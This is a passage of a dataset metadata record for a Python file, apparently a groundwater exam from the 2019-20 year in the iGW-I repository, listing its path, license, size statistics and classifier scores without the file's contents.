"31ffb598f1a05435145edfa5f8f62706a9bd03ac", "size": 18723, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/contents/questions/GW_exam_2019_20.py", "max_stars_repo_name": "prabhasyadav/iGW-I", "max_stars_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/contents/questions/GW_exam_2019_20.py", "max_issues_repo_name": "prabhasyadav/iGW-I", "max_issues_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/contents/questions/GW_exam_2019_20.py", "max_forks_repo_name": "prabhasyadav/iGW-I", "max_forks_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.392733564, "max_line_length": 485, "alphanum_fraction": 0.6561982588, "include": true, "reason": "import numpy,from scipy", "num_tokens": 6305, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879061178313897, "lm_q2_score": 0.1066905825840872, "lm_q1q2_score": 0.05001554348109375}}
